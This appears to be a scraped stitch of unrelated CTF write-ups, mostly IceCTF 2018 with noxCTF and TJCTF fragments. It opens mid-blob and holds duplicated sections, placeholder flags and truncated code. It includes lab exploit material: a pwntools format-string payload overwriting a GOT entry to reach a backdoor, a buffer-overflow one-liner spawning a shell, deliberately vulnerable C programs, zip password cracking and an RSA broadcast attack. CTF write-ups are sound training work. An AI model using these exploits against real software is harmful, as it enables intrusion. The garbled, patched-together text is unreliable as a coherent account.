(}[)|||}|(()))))|}|([}|}|(}[}||(){[)|(<}|||}|(){[)|(<}()>|>|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}(>{<}|}((<)||||<}}|>||||}|{}((<(]|{(}[)|<}|||}||||}```
**Flag**```flag```
## Misc 10: Hello World!
**Challenge**
Welcome to the competition! To get you started we decided to give you your first flag. The flags all start with the "IceCTF" and have some secret message contained with in curly braces "{" and "}".
Within this platform, the challenges will be shown inside a frame to the right. For example purposes the download interface is shown on the right now. For static challenges you will need to click the large button in order to receive your challenge. For non static challenges, the lab itself will be shown on the right.
To submit the flag you can click the blue flag button in the bottom right hand corner.
Your flag is `IceCTF{this_is_a_flag}`
**Solution**
`CTRL+C, CTRL+V`
**Flag**
```IceCTF{this_is_a_flag}```
## Misc 250: anticaptcha
**Challenge**
Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/
**Solution**
looks like we will have to answer these questions to get the flag. We automate this:
```python
from bs4 import BeautifulSoupimport requestsfrom fractions import gcd as _gcdimport mathimport reimport sysfrom itertools import count, islicefrom math import sqrt
URL = "https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/"
def isprime(n): n = int(n) return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))
def gcd(a, b): return _gcd(int(a), int(b))
def nthword(a, b): return b.replace('.',' ').replace(' ',' ').split(' ')[int(a)]
asdf = { 'What is the greatest common divisor of (?P[0-9]+) and (?P[0-9]+)?': gcd, 'Is (?P[0-9]+) a prime number?': isprime, 'What is the (?P[0-9]+).. word in the following line:(?P.*)': nthword, 'What is the tallest mountain on Earth?': lambda: "Mount Everest", 'What is the capital of Hawaii?': lambda: "Honolulu", 'What color is the sky?': lambda: "blue", 'What year is it?': lambda: "2018", 'Who directed the movie Jaws?': lambda: "Steven Spielberg", 'What is the capital of Germany?': lambda: "Berlin", 'Which planet is closest to the sun?': lambda: "Mercury", 'How many strings does a violin have?': lambda: "4", 'How many planets are between Earth and the Sun?': lambda: "2",}
data = requests.get(URL)
answers = []
html_doc = data.textsoup = BeautifulSoup(html_doc, 'html.parser')for idx, td in enumerate(soup.find_all('td')): if idx % 2 == 1: continue
text = td.text.replace('\n', '')
matched = False for (m, func) in asdf.items(): match = re.match(m, text) if match: matched = True answers.append(str(func(*match.groups())))
if not matched: print("> %s <" % text)
r = requests.post(URL, headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'answer': answers})print(r.text[:1000])```
when we get it right, the page responds with our flag
**Flag**```IceCTF{ahh_we_have_been_captchured}```
## Misc 200: ilovebees
**Challenge**
I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.
Can you figure out what it's trying to tell us?
https://static.icec.tf/iloveflowers/
**Solution**
website:
The website seems to be a reference to Halo (https://en.wikipedia.org/wiki/I_Love_Bees)
We download the [entire website](writeupfiles/static.icec.tf/iloveflowers/)
```wget -m https://static.icec.tf/iloveflowers/```
After much searching, the flag turns out to be the favicon gif file:
We see nothing with `strings` or `binwalk` or in the exifdata, but after we extract all the frames to png images
```convert -coalesce favicon.gif out%03d.png```
and run examine the exifdata
```bash$ exiftool out*.png======== out-0.pngExifTool Version Number : 10.60File Name : out-0.pngDirectory : .File Size : 746 bytesFile Modification Date/Time : 2018:09:16 18:45:41+02:00File Access Date/Time : 2018:09:16 18:45:56+02:00File Inode Change Date/Time : 2018:09:16 18:45:41+02:00File Permissions : rw-rw-r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 16Image Height : 16Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedGamma : 2.2White Point X : 0.3127White Point Y : 0.329Red X : 0.64Red Y : 0.33Green X : 0.3Green Y : 0.6Blue X : 0.15Blue Y : 0.06Palette : (Binary data 285 bytes, use -b option to extract)Background Color : 59Modify Date : 2018:09:06 15:20:54Datecreate : 2018-09-16T18:41:49+02:00Datemodify : 2018-09-06T15:20:54+02:00Image Size : 16x16Megapixels : 0.000256======== out-100.pngExifTool Version Number : 10.60File Name : out-100.png
[..]
```
we see that they each have binary metadata embedded that we can extract using the -b option:
```bash$ exiftool -b out*.png > outbinary```
this file doesnt look like much, we could probably clean it up, but a `strings` already gives us the flag:
```bash$ strings outbinary | grep IceIceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}```
**Flag**```IceCTF{MY_FAVORITE_ICON}```
## Misc 300: Secret Recipe
**Challenge**
I found this secret recipe when I was digging around in my Icelandic grandmother's attic. I have a feeling that she might have been a part of some secret organization. Can you see if there are any other secrets hidden in the recipe?
**Solution**
Transcription:
> Leyniuppskrift:>> Byrjaðu á að brjóta 5 egg og setja svo 3 matskeiðar af skyri í skál. Hrærið> svo 9 desilítra af hveiti út í ásamt 3 desilítrum af mjólk. Svo skal setja 7> teskeiðar af lyftidufti og 2 teskeiðar af vanilludropum áður enn það eru sett> 9 grömm af smjöri í skálina.>> Hrærið þessu rækilega saman og setjið svo út á pönnu.>> Alveg eins og amma gerði þða
Translation:
> Secret Recipe>> Start breaking 5 eggs and then put 3 tablespoons of sprouts into a bowl. Stir> 9 decilitres of flour together with 3 deciliters of milk. Then put 7> teaspoons of baking soda and 2 teaspoons of vanilla pods before putting 9> grams of butter in the bowl.>> Stir this thoroughly and then place it on a pan.>> Just like a grandmother made a pillow
**Flag**```flag```
|
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we need to get an idea of what we are looking at. This is a perfect time to use `Tree` and just for fun lets use the `a` and `H` flags, a to see hidden files, and H to create an html page so we can easily view the files in a browser, for qucikly checking on things:From just outsize of the unzipped directory run this:```tree -aH . > web.html```
From there we can see everything in the directory the first thing that sticks out to me is the clue.png but that turned out to be a 
Next I notice the `hzpxbsklqvboyou` file which contains:```8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT```
That looks like a base 64 encoded string, but decoding it spits out a lot of garbage.
Next we see there is a .bash_history file so we can get an idea of what the user was doing.There were some commands of interest:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. lets examine that encode function:```def encode(filename): with open(filename, "r") as f: s = f.readline().strip() return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5
```
The function takes in a file and reads just the first line of it.Then it perfroms a pretty messy encrption function on it, lets see if we can break it down.the `*5` at the end takes our encoded string and multipplies it by itself 5 times, simpleThe `[::-1]` is a handy lilttle trick in python to reverse a string.The decodes and encodes are pretty self explanatary, just like the b64encode is.The inside of the base64 encoding gets a little complicated thoughIt looks like each character in the string is converted to its ascii value gets an int from the list added to it, and then converted back to a character. The `[5, -1...]*3` is used to make sure the list of arrays matches the input string length...probably.
so now that we know how that `hzpxbsklqvboyou` file was encrypted we can write a little decoder function:
```def decode(filename): with open(filename, "rw") as f: s = f.readline().strip() #note that i manually divided the orignal string by 5 before reading it in s = s[::-1] #this reverse the string s = base64.b64decode(s) #this decodes the string print s #sanity check newString = (''.join([chr(ord(s[x]) - ([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] *3)[x]) for in range(len(s))])).decode('utf-8').encode('utf-8') #we just had to change the order of decode and encode, and then rather then add those int values, we subtract them print newString```
running that decode prints out: `IceCTF{good_ol_history_lesson}` |
# Trinity
**Challenge Points**: 794 **Challenge Description**: Neo, you are the chosen one. The only person who can make sense of these numbers. Do it.
You might want to see our approach for solving [WTF](../WTF/) before moving further in this writeup (Guessing work in this challenge is related to `WTF` challenge). In this challenge, we get three ciphertext-modulus pairs: ```N = 331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004c = 310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243
N = 302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114c = 112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344
N = 332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323c = 10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242```
This looks like we need to do Hastad's Broadcast Attack with e=3, you can read about it in Crypton [here](https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Hastad-Broadcast). But the moduli looked somewhat strange to me; also the attack did not work on these moduli. All the numbers only contained digits from `0` to `4`. So they can be base-5 numbers. I converted them back to base-10 (decimal) numbers, implemented the attack using p4-team's [crypto-commons](https://github.com/p4-team/crypto-commons/blob/master/crypto_commons/rsa/rsa_commons.py) library code and got the flag! ```pythonfrom crypto_commons.generic import long_to_bytesfrom crypto_commons.rsa.rsa_commons import hastad_broadcast
n1 = "331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004"c1 = "310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243"
n2 = "302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114"c2 = "112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344"
n3 = "332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323"c3 = "10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242"
n1 = int(n1, 5)n2 = int(n2, 5)n3 = int(n3, 5)c1 = int(c1, 5)c2 = int(c2, 5)c3 = int(c3, 5)
print(long_to_bytes(hastad_broadcast([(c1, n1), (c2, n2), (c3, n3)])))```Got the flag on running the above script: **noxCTF{D4mn_y0u_h4s74d_wh47_4_b100dy_b4s74rd!}** |
# RC4 took an L - 40 Points
Alphabet = **#_23456789abcdefghijklmnopqrstuvwxyz**
Key= **pq_xc589r3nb#mgjtkh7w2dlfvy4eaoi6uzs**
Ciphertext: **wpwt#5ng4_qbitp#8mq59r_g866c4t59c6vy6tisj4af6bprfnbd_wrq2wjmr4ld_s26a7i#biiyqjolq8lus_wfusfkj8xv2qrrv3etab_marovc#uuoueyl**
Its a stream cipher. I started working on rc4 encryption algorithm and did not get any results for a long time.
My friend hinted me look at the description again before banging on rc4. The description said "took an L". Then, after a few searches I came to know that there is an algorithm called LC4.That's why it's called "took an L".
I found a github repo that implemented lc4 algorithm,https://github.com/dstein64/LC4/blob/master/documentation.md
Then the flag is easily decrypted.
### Flag: tjctf{elsie_four_is_not_rc4}
This was pretty straight forward if you figure out it is lc4.
|
```from pwn import *# author: conghiaa [email protected]# The trick to recv data from server very large bytes: python TheNameCalculator.py | nc chal.noxale.com 5678 > res.t# read flag: tail --bytes=500 ./res.tdef decode(s): """ xor word from right to left each time shift a byte""" key = 0x5f7b4153 # print s.encode('hex') for i in range(len(s) - 4, -1, -1): word = u32(s[i:i+4]) word ^= key word = p32(word) s = s[:i] + word + s[i+4:] # print s.encode('hex') return s
# def padding(s):# if len(s)%4 == 0:# return ""# else:# return 'X'*(4 - len(s)%4)
exit = 0x0804a024backdoor = 0x08048596 # superSecretFuncname = p32(0x6a4b825).rjust(0x20, 'X')
nameAgain = p32(exit) + '%{}x'.format(backdoor - 4) +'%12$n'# nameAgain = p32(exit + 2) + '%{}x'.format(0x0804 - 4) +'%12$hn' # write 0x804# pad = padding(nameAgain)# nameAgain += pad# nameAgain += p32(exit) + '%{}x'.format(0x8596 - 0x804 - len(pad) - 4) + '%{}$hn'.format(len(nameAgain)/4 + 12) # write 0x8596# Note: the commented payload doesn't work due to limitation of read chars but you can circumvent it by placing exit addr at the first-asked name.
payload = name + decode(nameAgain)print payload``` |
[original writeup](https://github.com/7feilee/ctf_writeup/tree/master/sectctf2018)
----------------------[public writeup](https://xz.aliyun.com/t/2743) |
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<title>ctf-write-ups/sect ctf 2018/pingpong at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>sect ctf 2018</span></span><span>/</span>pingpong<span>/</span> </div> </div>
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|
link : https://github.com/d4rkvaibhav/IceCTF-2018/tree/master/Miscellaneous
In this question we have to use browser automation to find the 6 unique questions from 601 questions which are being evaluated to get all correct answer.
See the solution and python implementation in the orignal writeup.
Note : You have to install selenium before running python3 script. |
## 10 - Cookie Monster - Web
Go to https://cookie_monster.tjctf.org/, scroll a little, check your HTTP request headers and you can see:
```Cookie: __cfduid=d4b34a99d1a8656cd377ff7524aea2d5c1533757862; flag=tjctf{c00ki3s_over_h0rs3s}``` |
# IceCTF 2018
2-Week-long Icelandic CTF in September 2018
Team: Galaxians
## Overview```Title Category Points Flag------------------------------ -------------- ------ -----------------------------Toke Relaunch Web 50 IceCTF{what_are_these_robots_doing_here}Lights out Web 75 IceCTF{styles_turned_the_lights}Friðfinnur Web 200 IceCTF{you_found_debug}History of Computing Web 350
Simple Overflow Binary 250Cave Binary 50 IceCTF{i_dont_think_caveman_overflowed_buffers}Twitter Binary 800
Modern Picasso Forensics 150 IceCTF{wow_fast}Hard Shells Forensics 200 IceCTF{look_away_i_am_hacking}Lost in the Forest Forensics 300 IceCTF{good_ol_history_lesson}
garfield Cryptography 100 IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}Posted! Cryptography 250Think outside the key! Cryptography 200Ancient Foreign Communications Cryptography 300 IceCTF{squeamish ossifrage}
Drumbone Steganography 150 IceCTF{Elliot_has_been_mapping_bits_all_day}Hot or Not Steganography 300 IceCTF{h0td1gg1tyd0g}Rabbit Hole Steganography 400 IceCTF{if_you_see_this_youve_breached_my_privacy}
Locked Out Reversing 200Poke-A-Mango Reversing 250Passworded! Reversing 400
Hello World! Misc 10 IceCTF{this_is_a_flag}anticaptcha Misc 250 IceCTF{ahh_we_have_been_captchured}ilovebees Misc 199 IceCTF{MY_FAVORITE_ICON}Secret Recipe Misc 290```
## Web 50: Toke Relaunch
**Challenge**
We've relaunched our famous website, Toke! Hopefully no one will hack it again and take it down like the last time.
**Solution**
The link leads to some marijuna website
Last edition the toke challenge had the flag hidden in a cookie, but no cookies are set this time, so we have to look elsewhere
We check the robots.txt file and see:
```User-agent: *Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
```
the disallowed file contains our flag.
**Flag**```IceCTF{what_are_these_robots_doing_here}```
## Web 75: Ligths out
**Challenge**
Help! We're scared of the dark!
https://static.icec.tf/lights_out
**Solution**
We see a black page
with source:
```html
<html> <head> <meta charset="utf-8" /> <title>Lights out!</title> <link rel="stylesheet" href="main.css" /> </head> <body> <div class="alert alert-danger">Who turned out the lights?!?!</div> <summary> <div class="clearfix"> <small></small> <small></small> </div> </summary> </body></html>
```
Some fiddling with the css yields the flag
**Flag**
```IceCTF{styles_turned_the_lights}```
## Web 200: Friðfinnur
**Challenge**
Eve wants to make the hottest new website for job searching on the market! An avid PHP developer she decided to use the hottest new framework, Laravel! I don't think she knew how to deploy websites at this scale however....
https://gg4ugw5xbsr2myw-fridfinnur.labs.icec.tf/
**Solution**
Not sure if this was the intended solution, but requesting an url for a nonexistant job listing lead to an error message containing the flag:
https://29nd70ux6kr7ala-fridfinnur.labs.icec.tf/jobs/galaxian
**Flag**```IceCTF{you_found_debug}```
## Web 350: History of Computing
**Challenge**
One of the authors of IceCTF made this page but I don't think it's very accurate. Can you take hack it before the IceCTF team gets sued?
**Solution**
A blogging website with registration/login forms and comment submission
If we log in we get a cookie
```token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.session: eyJ1c2VyIjozfQ.DnrHzA.T60QwnNSuvq2HH0VSnNqqzFZ-24```
which base64 decode to:
```token: {"typ":"JWT","alg":"none"}.{"username":"testuser","flag":"IceCTF{hope you don't think this is a real flag}"}session: {"user":3}.?.?```
**Flag**
## Binary Exploit 200: Simple Overflow
**Challenge**
In programming, a buffer overflow is a case where a program, while it is writing data somewhere, overruns the boundary and begins overwriting adjacent memory. This is one of the first vulnerabilities used to exploit software. Modern programming languages tend to provide protection against this type of vulnerability, but it is still observed commonly in low-level software.
Buffer overflows can be a complex vulnerability to understand and exploit due to their low-level nature. To assist you in your training, we have provided a memory simulation in the middle to help you understand what happens when your input in the textbox is passed to the program on the left. The simulation shows you the memory layout of the underlying process, where your buffer is red, and the secret value is green. Try entering values into the box and observe how the values that the program sees change on the left.
In this case, the buffer sits on top of the stack memory, with the variable secret sitting just below it. As you will observe, the size limitation placed on buffer is not enforced, allowing you to write more than 16 characters. Get a feel for buffer overflows by exploring the above code.
Once you are comfortable with buffer overflows, exploit the program to grant you the flag.
[overflow.c](writeupfiles/overflow.c)
**Instructions**1. Hello world!In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.
2. Overflow!What happens if you write more than 16 characters into the buffer? Can you make the secret change?
3. Take controlCan you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.
4. Little endianIn most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?
5. Escape from ASCIIAs you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do?
**Solution**
We examine the source code
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
const char* FLAG = "<REDACTED>"
void flag() { printf("FLAG: %s\n", FLAG);}
void message(char *input) {
char buf[16] = "";
int secret = 0;
strcpy(buf, input);
printf("You said: %s\n", buf);
if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); }}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0;}```
**Flag**
## Binare Exploit 50: Cave
**Challenge**
You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i");}
void message(char *input) { char buf[16]; strcpy(buf, input);
printf("The cave echoes.. %s\n", buf);}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0;}```
**Solution**
Another buffer overflow challenge, this time we need to overwrite the return address to call the `shell()` function.First we need to find out what that address should be, we can do this with gdb's `info functions shell` or`objdump -d ./shout | grep shell` and find out that the address is `0x0804850b`
So we need to overwrite the return address with this address, in little endian order:
```./shout `python -c "print('a'*28+'\x0b\x85\x04\x08')"````
this gives us a root shell and we can read the contents of `flag.txt` to read our flag:
**Flag**
```IceCTF{i_dont_think_caveman_overflowed_buffers}```
## Binary Exploit 800: Twitter
**Challenge**
Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-twitter```
**Solution**
**Flag**
## Forensics 150: Modern Picasso
**Challenge**
Here's a rendition of some modern digital abstract art. Is it more than art though?
**Solution**
Using imagemagick to convert the white background in each frame to transparant:
```convert picasso.gif -transparent white picasso_transparent.gif```
gives a gif that slowly builds up the flag:
**Flag**
```IceCTF{wow_fast}```
## Forensics 200: Hard Shells
**Challenge**
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
[file](writeupfiles/hardshells)
**Solution**
the file is an encrypted zip file.
we use fcrackzip with the crackstation wordlist to find the password
```bash$ fcrackzip -v --use-unzip -D -p wordlist hardshells.zip'hardshells/' is not encrypted, skippingfound file 'hardshells/d', (size cp/uc 309500/5242880, flags 9, chk 91d0)checking pw TILIGUL'S
PASSWORD FOUND!!!!: pw == tacos```
the [file we get](writeupfiles/d) now is a Minix filesystem
```bash$ file dd: Minix filesystem, V1, 30 char names, 20 zones```
Running `strings`, we found `IHDR` indicating it might be a PNG file. Comparingthe file (in vim) to a normal PNG file we discovered they'd changed PNG to PUGand the file became valid.
This gives us a nice screenshot of someone's desktop, with the flag.
**Flag**```IceCTF{look_away_i_am_hacking}```
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we looked for all potentially interesting files:
```find -type f .```
And spotted './home/hkr/Desktop/clue.png' which is just a picture of a redherring. Cute. So the other dozens of JPGs are probably also red herrings. Nextwe looked for more interesting files and just looked at them individually witha text editor:
```vim `find -type f .````
Most were rather uninteresting, but there was a base64 looking string,`./home/hkr/hzpxbsklqvboyou` which might be interesting later. In`.bash_history` there were some interesting commands:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. We'll just write a [decode version of the script](./writeupfiles/lost-in-the-forest.py) and decrypt our output.
**Flag**```IceCTF{good_ol_history_lesson}```
## Cryptography 100: garfeld
**Challenge**
You found the marketing campaign for a brand new sitcom. Garfeld! It has a secret message engraved on it. Do you think you can figure out what they're trying to say?
**Solution**
The image reads:
`IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}`
Looks like the flag but encrypted somehow
Turns out to be vigenere with key `ahchbjhi`
we later realized that the `07271978` at the top of the image is a hint for this key with A=0,B=1 etc
**Flag**
```IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}```
## Cryptography 250: Posted!
**Challenge**
Apparently some bitwise boi is posting flags all over the place. He gave us a hint, though.
```DychGDZJRRsEUTI0JDViVlxeZyFIBCM7MwosGRQCMCgZJCIrGCsoRkFIajcSKhBTGx9XeTV4MDlZB1Y=```
He also gave us another hint: 41
**Solution**
base64 decode, then probably one or more bitwise operation (due to mention of 'bitwise boi' in description), likely involving the number 41
**Flag**
## Cryptography 400: Think outside the key
**Challenge**
Estelle was messing around with her computer and she ended up outputting some garbage! Could you figure out what this means?!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the decrypted text.
[mess.txt](writeupfiles/mess.txt)
**Solution**
```i⇧fjag8⇧qv⇧qy4⇧dag8k0q⇧ptag86⇧s⇧hec⇧l⇧c4ag8z3ssag8⇧q7y66b```
**Flag**```flag```
## Cryptography 300: Ancient Foreign Communications
**Challenge**We got word from a friend of ours lost in the depths of the Andorran jungles! Help us figure out what he is trying to tell us before its too late!
Note: The flag here is non-standard, in the result you should end up with some words! The flag is IceCTF{<words, lowercase, including spaces>}
**Solution**We're given a file with hex bytes, we can use `xxd` to covnert that into the appropriate characters/bytes:
```xxd -r -p comms.txt > out.txt```
Which is full of some fun symbols?
```⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[[[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]]]⌝⌝⌝⌝]]⌟[[[⌝⌝⌝⌝⌟⌝⌝⌝⌝]]]⌞⌞⌞⌝⌝⌝⨆]⌞⌞```
combining pigpen cipher with T9 we translate this to:
```⨅ ]] ⌞⌞ ⌟ [ ⨆ ] ⌟ ]]] ⨆⨆⨆ ⌜ [[[ ⌝⌝⌝ ⌞ ⌝⌝⌝⌝ ⨆ ⌝⌝⌝ ⌞⌞ ⌝⌝⌝⌝ ⌟ ⌝⌝ ⨅⨅ ⌞⌞ ⨆ [ ]]] ⌝⌝⌝⌝ ]] ⌟ [[[ ⌝⌝⌝⌝ ⌟ ⌝⌝⌝⌝ ]]] ⌞⌞⌞ ⌝⌝⌝ ⨆ ] ⌞⌞t h e _ m a g _ i c w o r d s a r e s _ q u e a m i s h _ o s _ s i f r a g e```
method explained:
- `⨅` in pigpen would signify `H`, when we instead combine this with T9, it would mean the letter `t` (one press on the number `8`)- `]]` would be the `dd` in classic pigpen, but now signifies 2 presses on the number `4`, which would be an `h`- `⌞⌞` is two presses on the 3, so a letter `e`- etc
This gives us the sentence
```the magic words are squeamish ossifrage```
Which was the solution to a challenge ciphertext set by the inventor of RSA in 1977 ([link](https://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage))
**Flag**```IceCTF{squeamish ossifrage}```
## Steganography 150: Drumbone
**Challenge**
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
**Solution**
Nothing in exif data, nothing with binwalk, nothing obvious, so we check the LSB of each challenge. The blue channel seems to consist of only odd number, this seems suspicious so we investigate furter. Mapping the LSB of each of the RGB channels to black or white gives the following result:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeprint(w,h)
outimg_r = Image.new('RGB', (w,h), "white")outimg_g = Image.new('RGB', (w,h), "white")outimg_b = Image.new('RGB', (w,h), "white")
pixels_r = outimg_r.load()pixels_g = outimg_g.load()pixels_b = outimg_b.load()
for i in range(0,w): for j in range(0,h): (r,g,b) = pixels[i,j] if not r&1: pixels_r[i,j] = (0,0,0) if not g&1: pixels_g[i,j] = (0,0,0) if not b&1: pixels_b[i,j] = (0,0,0)
